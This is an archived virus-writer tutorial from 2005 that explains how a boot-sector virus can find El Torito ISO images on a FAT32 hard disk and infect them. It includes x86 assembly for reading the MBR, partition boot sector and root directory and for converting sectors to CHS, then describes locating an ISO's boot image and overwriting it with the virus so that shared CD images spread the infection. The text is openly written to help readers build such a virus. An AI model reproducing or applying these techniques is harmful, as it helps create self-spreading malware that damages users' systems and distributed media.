VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

New era of bootsectorviruses #2: El Torito ISO infection at FAT32

Ready Rangers Liberation Front [6]
April 2005

[Back to index] [Comments]


  1. Intro
  2. Theory / Idea
  3. MBR: Master Boot Record
  4. Partition's Bootsector
  5. Root Directory
  6. Find data at the Harddisk
  7. El Torito ISO
  8. Last words

0) Intro

This second tutorial about bootsectorviruses is about a very unusual topic: CD-ROM bootsector infection. How could we infect a bootsector of a CD-ROM? Via infecting bootable Images. The bootable CD-ROM images are called El Torito ISO-9660. This standart is very common, and used in many programs like Ahead Nero Burning ROM. El Torito ISOs are spread via the internet zB via Emule (Knoppix, Windows Installation CD-ROM, ...). Before reading this tutorial, it would be of some value to read the first article about this topic as I will not repeat too much. Well, let's start!

1) Theory / Idea

What do we want? Infecting a CD-ROM's bootsector. We will manage it via infecting the Image file, as I've already told you. But how can we find image files??? We have to write our own FAT32 FileSystem Driver. Sounds hard, but it is not if you know what exectly to do (all you will know after this tutorial :D). After finding the ISO file, we have to check if it's ready to infect and where we have to infect it (it has a much more complicated structure as raw-data-image-files). When we found the right place, we have no more problems. OK, you should know now, what we will do, just let us do it now...

2) MBR: Master Boot Record

The Master Boot Record is the first physical sector of the Harddisk. Here we also get the information about the partition's start sector at the HD. So first thing we have to do after loading the virus is to load the MBR into the memory. Let's say, offset 0x2000:

Load MBR - Source

        mov     bx, 0x2000              ; bx=0x2000
        mov     es, bx                  ; Data will be read to ES:BX, ES=0x2000
        mov     ds, bx
        xor     bx, bx                  ; BX=0x0

        mov     ah, 0x2                 ; Read
        mov     al, 0x1                 ; 1 Sector
        mov     cl, 1                   ; Start at sector 1
        mov     ch, 0                   ; Cylinder=0
        mov     dh, 0                   ; Head=0
        mov     dl, 0x80                ; Drive=0x80=HD
        int     0x13                    ; Read MBR

What is important: DL = drive number (bit 7 set for hard disk) 1000 0000 = 0x80 = HD

Now we have the MBR in memory at adresse 0x2000:0x0, what next? We have to understand the stucture of the MBR:

0 Byte446 ByteBootloader
446 Byte64 BytePartitiontable
510 Byte2 Byte0x55AA <- Bootsign

What we need is the Partitiontable, to get the start of the partitions. The table is splitted into 4 parts (=4 partitions) with the same size (16 byte). One entry of the Partitiontable looks like that:

Active Partition Flag 0 Byte1 Byte If the partition is active or not Active: 0x80 | Not active: 0x0
CHS Start 1 Byte3 ByteCHS value of start of the partition
Type 4 Byte1 ByteType of partition
CHS End 5 Byte3 ByteCHS value of end of the partition
LBA Start 8 Byte4 ByteLBA value of start of the partition
LBA Length12 Byte4 ByteLBA value of sectors IN the partition

Here we just need two values: CHS Start for reading the Bootsector of the partition and LBA Start for Sector calculation later on. So what to do for reading the partition's bootsector? See:

Load Partition's BS - Source

        xor     bx, bx                  ; bx=0=Start of MBR
        mov     ax, [bx+454]            ; ax=1st Partition's start: Partitiontable (446) + 8 = 454
        mov     cl, [bx+447]            ; cl=Sector of 1st Partition in CHS: 446 + 1 = 447
        mov     dh, [bx+448]            ; dh=Head of 1st Partition in CHS: 446 + 2 = 448
        mov     ch, [bx+449]            ; ch=Cylinder of 1st Partition in CHS: 446 + 3 = 449

        mov     bx, 0x1000              ; bx=0x1000
        mov     es, bx                  ; Data will be read to ES:BX, ES=0x1000
        mov     ds, bx
        xor     bx, bx                  ; BX=0x0

        mov     [BootSecPar], ax        ; Save 1st Partition's start in LBA

        mov     ah, 0x2                 ; Read
        mov     al, 0x10                ; 16 Sector
        mov     dl, 0x80                ; Drive=0x80=HD

        mov     bx, 0x2000              ; bx=0x2000
        mov     es, bx                  ; Data will be read to ES:BX, ES=0x2000
        mov     ds, bx
        xor     bx, bx                  ; BX=0x0
        int     0x13                    ; Read First Sector of Partition

3) Partition's Bootsector

The partition now gives us the needed values for the root directory. First we have to know the calculation for the Root Directory (which tooked me several days to find it, as nobody seemed to know that):

(boot sector)+(number of fats)*(sectors per fat)+(reserved sectors)+(root cluster-2)*(sectors per cluster)

And where are these offsets:

     Offset 13 ;db sectors per cluster
     Offset 14 ;dw fat offset or reserved sectors
     Offset 16 ;db number of fats
     Offset 44 ;dd root cluster
     Offset 36 ;dd sectors per fat

At this point I have to thank Octavio, a member in the MenuetOS forum, for this calculation and the offsets. Without you nobody could read this!

Let's see the code for getting the values:

Get Cluster for Root_Directory - Source ]

        mov     ah, [bx+24]             ; ah=BPB_SecPerTrk: For CHS calculation
        mov     al, [bx+26]             ; al=BPB_NumHeads: For CHS calculation

        mov     cl, [bx+13]             ; cl=Sector per cluster
        mov     ch, [bx+16]             ; ch=Number of FATs
        mov     si, [bx+14]             ; si=Reserved Sectors
        mov     ebp, [bx+44]            ; ebp=RootCluster
        mov     edx, [bx+36]            ; edx=Sectors per FAT

        mov     bx, 0x1000              ; bx=0x2000
        mov     es, bx                  ; Data will be read to ES:BX, ES=0x2000
        mov     ds, bx
        xor     bx, bx                  ; BX=0x0

        mov     [TotalSector], ah       ; Save BPB_SecPerTrk
        mov     [TotalHead], al         ; Save BPB_NumHeads

        mov     [SecPerClust], cl       ; Save Sector per cluster
        mov     [ReservedSec], si       ; Save Reserved Sector
        mov     [NumOfFats], ch         ; Save Number Of FATs
        mov     [SecPerFat], edx        ; Save Sector Per FAT
        mov     [LBA], ebp              ; Save Root Cluster

        call    getLBA                  ; Get the real sector number
                                        ; Returns the real sector number in EAX

At this calculation we got the all values for the Root_Directory Cluster, which means that we have to get the real sector in connection with the value [LBA] at the harddisk of this root directory. [LBA] represents the cluster of the root directory. Now comes the calculation listed above (ClusterNum -> SectorNum).

getLBA - Source

        ;; Find Data:
        ;; (boot sector)+(number of fats)*(sectors per fat)+(reserved sectors)+(Data cluster-2)*(sectors per cluster)
        ;; DataCluster saved in LBA

        mov     eax, [SecPerFat]        ; eax=SecPerFat
        xor     bx, bx                  ; bx=0
        mov     bl, [NumOfFats]         ; bl=NumOfFats
        mul     bx                      ; AX*BX=DX:AX

        mov     [FATCalc], ax           ; Save the result

        xor     eax, eax                ; EAX=0
        mov     al, [SecPerClust]       ; al=SecPerClust
        mov     ebx, [LBA]              ; ebx=DataCluster
        sub     ebx, 2                  ; DataCluster-=2

        mul     ebx                     ; EAX*EBX=EDX:EAX

        mov     [ClustCalc], eax        ; Save the result

        xor     eax, eax                ; eax=0
        mov     ax, [BootSecPar]        ; AX=Sectors before the 1st partition
        xor     ebx, ebx                ; ebx=0
        mov     bx, [FATCalc]           ; BX=(number of fats)*(sectors per fat)
        add     eax, ebx                ; AX+=BX
        mov     bx, [ReservedSec]       ; BX=Reserved Sectors
        add     eax, ebx                ; AX+=BX
        mov     ebx, [ClustCalc]        ; BX=(Root Cluster-2)*(Sectors per Cluster)
        add     eax, ebx                ; AX+=BX

        xor     edx, edx                ; EDX=0

What we have now in EAX is the sector number on the harddisk (NOT the same as partition!!!). But we can not read it, as we don't know the Cylinder, Head and Sector for INT 0x13/AH=2. So first we have to calculate this values. How to calculate this values? (thanks to Jack Dobiash)

Sector = ((LBA Mod Total Sectors) + 1)
CylHead = (LBA Div Total Sectors)
Head = (CylHead Mod (Total Heads + 1))
Cylinder = (CylHead Div (Total Heads + 1))

This is the standart, but for HDs you can use the 2 highest byte of the sector also for cylinders. This allows 63 Sectors, 255 Heads and 1023 Cylinder.

The following list is copyed by Ralf Brown's Interrupt List:

  • AH = 02h
  • AL = number of sectors to read (must be nonzero)
  • CH = low eight bits of cylinder number
  • CL = sector number 1-63 (bits 0-5) high two bits of cylinder (bits 6-7, hard disk only)
  • DH = head number
  • DL = drive number (bit 7 set for hard disk)
  • ES:BX -> data buffer

You should understand it, see the source of this function now:

CHS - Source

        xor     ebx, ebx                ; ebx=0
        mov     bl, [TotalSector]       ; Total Sectors
        div     ebx                     ; EDX:EAX DIV EBX=
                                        ; EAX= Quotient
                                        ; EDX= Reminder
        inc     dx                      ; Reminder+1=Sector
        mov     [sector], dl            ; Sector=Reminder (not more than 0xFF)
        mov     [cylhead], eax

        mov     edx, eax                ; EDX=Quotient
        shr     edx, 16                 ; DX=High number of quotient

        xor     bx, bx                  ; BX=0
        mov     bl, [TotalHead]         ; Total Heads
        div     bx                      ; DX:AX DIV BX=
                                        ; AX= Quotient
                                        ; DX= Reminder

        mov     [head], dl              ; Head=Reminder
        mov     [cylinder], al          ; Cylinder=Quotient
        shl     ah, 6                   ; 0000 00?? -> ??00 0000
        mov     al, [sector]            ; high two bits of cylinder (bits 6-7, hard disk only)
        or      al, ah                  ; 00xx xxxx -> ??xx xxxx
        mov     [sector], al            ; Save!

Now you have the important values in [sector], [head] and [cylinder]. Just read it now.

4) Root Directory

The FAT32 root directory has some differents to the FAT12 root directory. Every file entry has, in normal cases, 32 bytes of data. Just if the file uses a long word, the data is longer (but we can easiely ignore that). Most things I've already descripted in the previous article, so there is no need to copy these infos.

See the list of the 32 bytes of a file:

DIR_Name0 11File Name (*)
DIR_Attr111File Attributes (*)
DIR_NTRes121Reserved: Set zero
DIR_CrtTimeTenth131Time: Unimportant
DIR_CrtTime142Time: Unimportant
DIR_CrtDate162Date: Unimportant
DIR_LstAccDate182Date: Unimportant
DIR_FstClusHI202High word of this entry's first cluster number
DIR_WrtTime222Time: Unimportant
DIR_WrtDate242Date: Unimportant
DIR_FstClusLO262Low word of 1st cluster number (*)
DIR_FileSize282Filesize (*)

(*) = Already descriped in 'New era of bootsectorvirus #1'

5) Find data at the Harddisk

Now we know, how the FAT32 root directory looks like. And now: How to get a file of an entry, which we want?

First, we have to compair the two words of the cluster number, so we have the real dword:

dword - Source

        mov     ax, [bx+20]             ; High number of cylinder to ax
        shl     eax, 0x10               ; High number in e-part of eax
        mov     ax, [bx+26]             ; Low number of cylinder to ax

Now we have the cluster number in eax. To read them, we first have to get the LBA number (sector number at partition) and then calculate the CHS for the INT 13 / AH=0x2||0x3. We already know the function getLBA and CHS, so there is no need to write them down again. See the code for reading a file into memory:

Read File - Source

        mov     [LBA], eax              ; DataCluster=EAX
        call    getLBA                  ; Get the real sector number
                                        ; Returns the sector number in EAX
        mov     [LBA], eax              ; Save the LBA
        call    CHS                     ; Get the CHS of the real sector number

        mov     ah, 0x2                 ; Read
        mov     al, 0x1                 ; 1 Sector
        mov     cl, [sector]            ; Start at sector ??
        mov     ch, [cylinder]          ; Cylinder=?
        mov     dh, [head]              ; Head=??
        mov     dl, 0x80                ; Drive=0x80=HD

        mov     bx, 0x3000              ; bx=0x3000
        mov     es, bx                  ; Data will be read to ES:BX, ES=0x3000
        mov     ds, bx
        xor     bx, bx                  ; BX=0x0

        int     0x13                    ; Read Sectors

What we have now is the first sector of the file in memory starting at offset 0x3000:0x0.

6) El Torito ISO

El Torito is the bootable format of CD-ROM images (ISO). This is the image we want to infect. :) First enormous important thing to know is, that a sector at a CD-ROM is 0x800 bytes long, not like the sectors at the HD, which are 0x200 bytes long. Then it's important to know, that the boot-sector of CD-ROMs is not the first sector, as it's at floppies or HDs.

In this article I just write about 'Single Boot-Image Configuration'. See the short graphic about the structure of this kind of files:

     Sector 0:  |          SYSTEM         |
                |         (UNUSED)        |
     Sector 16: |      Primary Volume     |
     Sector 17: |    Boot Record Volume   |-------+
                |-------------------------|       |
                |                         |       |
                |-------------------------|       |
                |                         |       |
                |-------------------------|       |
                |                         |       |
                |-------------------------|       |
                | Set Termination Volume  |       |
                |-------------------------|       |
                |     Boot Catalog        | <-----+ 
                |                         |-------+
                |-------------------------|       |
                |  Bootable Disk Image    | <-----+
                |      CD-ROM Image       |

We see, which parts we need to read to get the Bootable Disk Image. First we need to read the Boot Record Volume to get the pointer to the Boot Catalog. This Boot Catalog finally points to the Bootable Disk Image.

Now let's read the Boot Record Volume. It is at the 17th sector. Remember: The 17th Sector of a CD-ROM (image) is the 17*4th (68th) sector of the harddisk! To know what to do next, we need further infos about the Boot Record Volume:

0ByteBoot Record Indicator
1-5ByteISO-9660 Identifier, must be 'CD001'
6ByteVersion of the descriptor, must be 1
7-26ByteBoot System Identifier, must be 'EL TORITO SPECIFICATION" padded with 0's.
27-46ByteUnused, must be 0.
47-4ADWordAbsolute pointer to first sector of Boot Catalog.
4A-7FFByteUnused, must be 0.

You can see our pointer now. The pointer uses the number of CD-ROM sectors which means, that you have to muliplicate it with 4, to get the HD sector. Then you add the sector number of the filestart, and you have the real sector number, which we have to read next.

The Boot Catalog is splittet in some different parts, see the structure now:

0ByteHeader ID, must be 01.
1BytePlatform ID.
2-3WordReserved, must be 0.
1C-1DIntChecksum Word.
1EByteKey Byte, must be 55.
1FByteKey Byte, must be AA.
>Validation Entry (subname)

Next comes the Initial/Default Entry, add 0x20 to the offset.

0ByteBoot Indicator (88=bootable | 00=not bootable)
1ByteBoot media Type
2-3WordLoad segment (standart is 0x7C0)
4ByteSystem Type.
5ByteUnused, must be 0.
6-7WordSector count.
8-0BDWordLoad RBA. This is the start address of the virtual disk.
0C-1FByteUnused, must be 0.

The Value at 8-0xB (Load RBA) is the pointer to the sector of the boot sector of the ISO file. We have to get this sector, and we have it.

Now we can overwrite this sector and the following sectors with our virus. Everything is ready now. Finally! :)

7) Last words

Finally, the first CD-ROM bootsector virus has been finished, and the information to write it has been published with this article. There would be another undiscovered technique going hand in hand with this one: Network Boot viruses using BOOTP. But I doubt that I will make that one soon, as I'm bored of the OS-developing currently :). At this point I also want to say 'hi' to LiTlLe VxW, who has published an article called 'Boot CD infection' in 29a#8 in january 2005. The article was unfortunatly just theoretically - I did not used any information by his article :). Here are some articles which may be useful for reading, if you want to make a CD-ROM bootsector virus:

Well, the discoverment on this topic used six months, and now it is ending. It was an interesting topic, and I hope that you are (at least partly :D) interested in it! See you soon out there, and don't forget: Never stopp fooling the establishment :)

                                                  - - - - - - - - - - - - - - -
                                                    Second Part To Hell/[rRlf]  
                                                    [email protected]
                                                    written from Jan 2005 - April 2005

                                                    ...surrealistic viruswriter...
                                                  - - - - - - - - - - - - - - - 
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka